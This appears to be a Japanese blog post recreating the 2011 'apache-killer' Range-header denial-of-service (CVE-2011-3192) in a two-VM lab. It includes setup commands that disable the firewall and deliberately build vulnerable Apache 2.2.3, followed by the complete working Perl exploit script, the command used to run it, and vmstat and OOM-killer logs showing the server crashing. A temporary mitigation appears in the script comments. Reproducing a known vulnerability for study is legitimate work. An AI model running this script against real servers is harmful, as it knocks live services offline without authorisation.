いまさらapache-killer検証
注意
実行したらサーバが落ちる可能性がありますm(__)m
環境
vagrant
でいいかな???
両方に設定すること
# iptables off sudo chkconfig iptables off sudo service iptables stop # epel,remi sudo rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm sudo rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm # developer sudo yum -y update sudo yum -y groupinstall "Development Tools" cd /etc/yum.repos.d/ sudo wget http://wing-repo.net/wing/6/EL6.wing.repo sudo wget http://wing-repo.net/wing/extras/6/EL6.wing-extras.repo sudo yum clean all sudo yum -y install yum-priorities # git sudo yum -y remove git sudo yum -y install git --enablerepo=wing # ntp sudo yum -y install ntp sudo service ntpd start sudo chkconfig ntpd on # vim sudo yum -y install vim
1台目
cd /usr/local/src/ sudo wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache//apr/apr-1.5.1.tar.gz sudo tar zxf apr-1.5.1.tar.gz cd apr-1.5.1 sudo ./configure sudo make sudo make install cd /usr/local/src/ sudo wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache//apr/apr-util-1.5.3.tar.gz sudo tar zxf apr-util-1.5.3.tar.gz cd apr-util-1.5.3 sudo ./configure --with-apr=/usr/local/apr sudo make sudo make install cd /usr/local/src/ sudo wget http://archive.apache.org/dist/httpd/httpd-2.2.3.tar.gz sudo tar zxf httpd-2.2.3.tar.gz cd httpd-2.2.3 sudo ./configure \ --enable-so \ --enable-rewrite \ --with-apr=/usr/local/apr \ --with-apr-util=/usr/local/apr \ --enable-modules=all \ --enable-dav \ --enable-proxy \ --enable-proxy-ajp sudo make sudo make install sudo /usr/local/apache2/bin/apachectl start
画面
2台目
attack用スクリプト
#!/usr/bin/perl # # Apache httpd Remote Denial of Service (memory exhaustion) # due to a flawed implementation of Partial Content requests # (CVE-2011-3192). # # by Javier, based on Kingcope's code at # http://seclists.org/fulldisclosure/2011/Aug/175 # # Aug 25 2011 # # Successful exploitation will result in swapping memory to # filesystem on the remote side and killing of processes # when running out of swap space. # # WARNING: The exploited system will become unstable and even crash. # THIS TOOL IS PROVIDED "AS IS", USE IT AT YOUR OWN RISK. # # Usage: # # 1) Try to find an exploitable URL on the website. # You just can run the script starting with the root # path "/" (default) and looking at the server response. # # 2) If you get as response "HTTP/1.1 206 Partial Content..." # then the server is exploitable at the issued path. # If not, you could try using a different one. # # Be aware that only Apache webservers are vulnerable # (look at the "Server" field in the response, # but don't always believe it ;) ). # # 3) Once discovered an exploitable path you can run # ./apachepartial.pl www.example.com /somepath/ # # 4) With the default value of 10 concurrent requests, you # should notice a significant increase in memory consumption. # If you raise to 50 or more simultaneous reqs, you can # crash the server. # # MENTAL NOTE: I have to use a virtual machine when testing this # sort of things on my local webserver to avoid crashing myself. # # FIX: # # A temporary fix has been posted on: # http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3C20110824161640.122D387DD@minotaur.apache.org%3E # # I've tried enabling mod_setenvif and mod_headers and adding # the following directives on the apache global configuration: # # SetEnvIf Range (,.*?){5,} bad-range=1 # RequestHeader unset Range env=bad-range # # This ignore Range header when the request includes 5 or more. # # use strict; use warnings "all"; use IO::Socket; use vars qw($host $port $path $numforks $useragent $loops); sub showusage { print "\nApache Remote Denial of Service (memory exhaustion)\n"; print "due to a flawed implementation of Partial Content requests\n"; print "(CVE-2011-3192).\n\n"; print "by Javier, based on Kingcope's code available at\n"; print "http://seclists.org/fulldisclosure/2011/Aug/175\n\n"; print "Usage: ./apachepartial.pl <host> [path] [parallel reqs] [loops] [port]\n"; print " [path] defaults to '/'\n"; print " [parallel reqs] defaults to 10\n"; print " [loops] defaults to 5 (0 = infinite)\n"; print " [port] defaults to 80\n\n"; print "Example: For attacking http://www.example.com:8080/somepath/ with\n"; print " 100 concurrent requests over 5 loops:\n"; print " ./apachepartial.pl www.example.com /somepath/ 100 5 8080\n\n"; print "See the comments at the beginning of the script code.\n\n"; print "WARNING: The exploited system may become unstable and even crash.\n"; print " THIS TOOL IS PROVIDED 'AS IS', USE IT AT YOUR OWN RISK.\n\n"; exit; } sub testserver { my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') || die "Can't connect to $host"; my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n"; $req .= "User-Agent: $useragent\r\nRange:bytes=0-100\r\n"; $req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print "\nTesting http://$host:$port$path\n\n"; print "Request:\n$req"; print $sock $req; my $resp = ''; while (my $line = <$sock>) { $resp .= $line } print "Response:\n$resp"; return ($resp =~ /^HTTP\/1.1 206/); } sub exploitserver { $|=1; srand(time()); my $range = ''; for (my $limit = 0; $limit < 1300; $limit++) { $range .= ",5-$limit"; } my @children = (); for (1..$numforks) { my $pid = fork(); if ($pid) { push(@children, $pid); } else { my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') || die "Can't connect to $host:$port"; my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n"; $req .= "User-Agent: $useragent\r\nRange:bytes=0-$range\r\n"; $req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $req; while(<$sock>) {} print "."; exit; } } foreach (@children) { waitpid($_, 0); } print " finished.\n"; } # Main program showusage if ($#ARGV == -1); $host = $ARGV[0]; $path = $#ARGV >= 1 ? $ARGV[1] : '/'; $numforks = $#ARGV >= 2 ? $ARGV[2] : 10; $loops = $#ARGV >= 3 ? $ARGV[3] : 5; $loops = -1 if ($loops == 0); $port = $#ARGV == 4 ? $ARGV[4] : 80; $useragent = "Apache httpd Partial Content bug exploit"; if (testserver) { print "Host seems vulnerable.\n\n"; print "Hitting http://$host:$port$path\n"; print "($numforks parallel reqs over $loops loops)\n\n"; my $loop = 0; while($loop != $loops) { $loop++; print "Loop $loop "; exploitserver; } } else { print "Host does not seem vulnerable (maybe another path?).\n\n"; exit; }
※apache-killer.pl
実行
テスト
perl apache-killer.pl 対象のWebサーバIP コンテンツURI リクエスト数 同時接続数 ポート番号
例
perl apache-killer.pl 192.168.33.102 /apache-killer1-1.png 100 5 80
結果
vmstat 1
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 1 10 2611776 4496 304 5132 120088 17888 120088 17900 11862 9394 1 79 0 20 0 10 7 2613948 4512 312 5160 105848 17236 105848 17256 11409 8499 0 74 0 26 0 15 22 2611940 5004 312 5228 111484 14464 111572 14472 11892 10746 4 81 0 15 0 24 21 2588488 8168 256 5156 122552 2420 122872 2432 11860 18220 12 71 0 18 0 24 26 2600972 6420 240 5068 60064 20684 60064 20684 7385 3835 7 68 0 26 0 23 32 2502256 4808 216 3732 47056 31748 56012 31776 7853 5086 5 63 0 32 0 25 45 2545000 4592 192 3324 23376 47936 32364 48028 8655 4521 4 61 0 34 0 11 54 2592972 4556 188 3696 9732 47628 11556 47656 6883 4272 7 58 0 35 0 8 78 2530432 4516 176 1824 27428 204820 63056 204864 29512 19929 5 60 0 35 0
vmの画面でもエラーを出力
oom-killerを確認
Jul 7 15:25:07 localhost kernel: Out of memory: Kill process 7760 (httpd) score 44 or sacrifice child Jul 7 15:25:07 localhost kernel: Killed process 7760, UID 2, (httpd) total-vm:165760kB, anon-rss:5212kB, file-rss:8kB Jul 7 15:25:10 localhost kernel: httpd invoked oom-killer: gfp_mask=0x200da, order=0, oom_adj=0, oom_score_adj=0 Jul 7 15:25:10 localhost kernel: httpd cpuset=/ mems_allowed=0 Jul 7 15:25:10 localhost kernel: Pid: 7771, comm: httpd Tainted: G --------------- H 2.6.32-358.el6.x86_64 #1 Jul 7 15:25:10 localhost kernel: Call Trace: Jul 7 15:25:10 localhost kernel: [<ffffffff810cb5d1>] ? cpuset_print_task_mems_allowed+0x91/0xb0 Jul 7 15:25:10 localhost kernel: [<ffffffff8111cd10>] ? dump_header+0x90/0x1b0 Jul 7 15:25:10 localhost kernel: [<ffffffff810e91ee>] ? __delayacct_freepages_end+0x2e/0x30 Jul 7 15:25:10 localhost kernel: [<ffffffff8121d0bc>] ? security_real_capable_noaudit+0x3c/0x70 Jul 7 15:25:10 localhost kernel: [<ffffffff8111d192>] ? oom_kill_process+0x82/0x2a0 Jul 7 15:25:10 localhost kernel: [<ffffffff8111d0d1>] ? select_bad_process+0xe1/0x120
あ…落ちた。(・o・)
参考
http://blog.s112.xrea.com/aozai/2011/09/---apache-killercve-2011-3192.html
http://blog.s112.xrea.com/aozai/2011/09/---apache-killercve-2011-3192-1.html
まとめ
常にソフトウェアは簡単にアップデートできるようにしておくことは必要ということ。
バージョンアップする際、あーしてこーしてとかして本番環境が壊れる事になったり、セキュリティアタックでサーバが落ちることは避けなくてはならない。
一旦、最新バージョンの検証もしてみよう。